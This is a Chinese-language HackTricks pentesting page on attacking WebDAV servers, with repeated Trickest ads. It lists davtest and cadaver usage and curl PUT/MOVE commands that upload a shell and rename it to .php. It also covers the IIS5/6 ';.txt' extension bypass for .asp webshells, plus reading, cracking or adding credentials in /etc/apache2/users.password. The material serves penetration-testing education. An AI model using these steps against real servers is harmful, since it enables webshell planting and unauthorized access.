hacktricks/network-services-pentesting/pentesting-web/put-method-webdav.md

7.1 KiB
Raw Blame History

WebDav


使用 Trickest 可以轻松构建和 自动化工作流,使用世界上 最先进 的社区工具。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

从零开始学习 AWS 黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!

支持 HackTricks 的其他方式:

当处理启用了 WebDav 的 HTTP 服务器 时,如果具有正确的 凭据(通常通过 HTTP 基本身份验证 验证),则可以 操纵文件。通常,控制此类服务器涉及 上传和执行 Webshell

访问 WebDav 服务器通常需要 有效的凭据,使用 WebDav 暴力破解 是获取这些凭据的常见方法之一。

为了克服文件上传的限制,特别是阻止执行服务器端脚本的限制,您可以:

  • 如果没有限制,直接 上传 具有 可执行扩展名 的文件。
  • 将已上传的非可执行文件(如 .txt 重命名 为可执行扩展名。
  • 复制已上传的非可执行文件,将其扩展名更改为可执行的扩展名。

DavTest

Davtest 尝试 上传具有不同扩展名的多个文件检查 是否执行了该扩展名:

davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension

Cadaver

您可以使用此工具连接到 WebDav 服务器并手动执行操作(如上传、移动或删除)。

cadaver <IP>

PUT 请求

在WebDAV中PUT请求用于将数据上传到服务器上的特定位置。PUT请求允许攻击者向服务器上传恶意文件或覆盖现有文件。攻击者可以使用PUT请求来执行文件上传攻击覆盖重要文件或者在服务器上创建恶意文件。PUT请求通常是Web应用程序中的安全漏洞之一因此在进行Web应用程序渗透测试时应该检查服务器是否正确实现了PUT请求的权限控制。

curl -T 'shell.txt' 'http://$ip'

MOVE 请求

curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'


使用Trickest 可以轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

IIS5/6 WebDav漏洞

这个漏洞非常有趣。WebDav不允许上传重命名扩展名为**.asp的文件。但是你可以通过在文件名末尾添加";.txt"绕过这一限制,文件将被执行为.asp文件你也可以使用".html"代替".txt",但不要忘记";"**)。

然后你可以将你的shell上传为".txt"文件,并将其复制/移动为".asp;.txt"文件。通过Web服务器访问该文件它将被执行cadaver会说移动操作失败但实际上是成功的

提交凭据

如果Webdav正在使用Apache服务器你应该查看Apache中配置的站点。通常在
/etc/apache2/sites-enabled/000-default

在其中你可能会找到类似以下内容:

ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user

正如您所看到的,这里有包含webdav服务器有效凭证的文件:

/etc/apache2/users.password

在这类文件中,您会找到用户名密码哈希。这些是WebDAV服务器用于验证用户身份的凭据。

您可以尝试破解它们,或者如果出于某种原因您想要访问WebDAV服务器也可以添加更多

htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password

要检查新凭据是否有效,可以执行以下操作:

wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q

参考资料

从零开始学习AWS黑客技术 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式


使用Trickest轻松构建和自动化工作流程,由全球最先进的社区工具驱动。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}